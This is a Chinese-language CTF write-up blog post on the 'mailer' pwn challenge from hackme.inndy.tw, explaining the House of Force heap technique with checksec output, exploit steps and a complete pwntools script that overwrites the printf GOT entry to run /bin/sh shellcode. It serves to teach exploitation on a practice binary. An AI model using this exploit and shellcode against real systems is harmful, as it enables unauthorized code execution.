House Of Force mailer

idea

看了一下逻辑发现只有 2 处的堆溢出,没有可以把堆 free 掉合并什么的功能,这就涉及到我的知识盲区了,谷歌堆溢出的利用方式,找到了 House Of Force 这个方法,那就来学习一下。

先看一下程序的保护,可以发现很喜人,nx rwx 都没开,如果有条件可以写 shellcode 到 bss 段之类的。

1
2
3
4
5
6
7
8
❯ checksec mailer
[*] '/Users/carlstar/Desktop/mailer'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

先安利一下大蛇,不愧是 NSA 这种级别的逆向工具,在一些结构体上面反汇编出来的东西比 ida 好看很多,还有一些进制的转换和显示也很棒,目前就发现这么多,先上一张全景图。

Write_mail

dump

House Of Force

利用条件

1
2
1、能够以溢出等方式控制到 top chunk 的 size 
2、能够自由地控制堆分配空间的大小

关于这个洞的原理这边已经写的很明白了,就不再赘述了。House Of Force

exploit

1
2
3
4
5
1、申请第一个堆的空间,在写入 title 时溢出 chunk0 的 size 并在 content 处写 shellcode
2、申请第二个堆的空间,在写入 content 时通过溢出覆盖 top chunk size 为 -1
3、通过 dump 泄漏堆基址
4、覆盖 printf got 表为 shellcode 地址
5、下次调用 pinrtf 时即可 getshell

逻辑很清楚的题目,本来使用 pwntools 自己生成的 shellcode 时不知道为啥老是出错,在 gdb 里面跟了一下发现在 printf 时确实 eip 跳向了堆上的 shellcode,说明我们计算的 malloc_size 是没有问题的。但是执行过程中直接崩了,换了一个 shellcode 后就能用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(log_level = "debug", arch = "i386", terminal = ["deepin-terminal", "-x", "sh", "-c"])
t = remote('hackme.inndy.tw', 7721)
#t = remote('192.168.5.148', 9999)

def write_m(length, title, content):
t.sendlineafter('Action: ', '1')
t.sendlineafter('Content Length: ', str(length))
t.sendlineafter('Title: ', title)
t.sendlineafter('Content: ', content)


def dump():
t.sendlineafter('Action: ', '2')


sc = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload = cyclic(36) + p32(0xffffffff)
write_m(30,'a' * 65,sc)
write_m(30,'123',payload)
dump()
t.recvuntil('123')
addr_heap = u32(t.recvuntil('123')[-7:-3])
log.info(hex(addr_heap))
addr_top = addr_heap + 0xd8
malloc_size = 0x0804a00c - addr_top - 0x8 - 0x8 - 0x4
addr_sc = addr_heap + 0x48
log.info(hex(addr_sc))
write_m(malloc_size - 72,'123','123')
raw_input()
t.sendlineafter('Action: ','1')
t.sendlineafter('Length: ','30')
t.sendlineafter('Title: ', p32(addr_sc))

t.interactive()
文章作者: Carl Star
文章链接: http://carlstar.club/2019/03/14/mailer/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo
打赏
  • 微信
  • 支付寶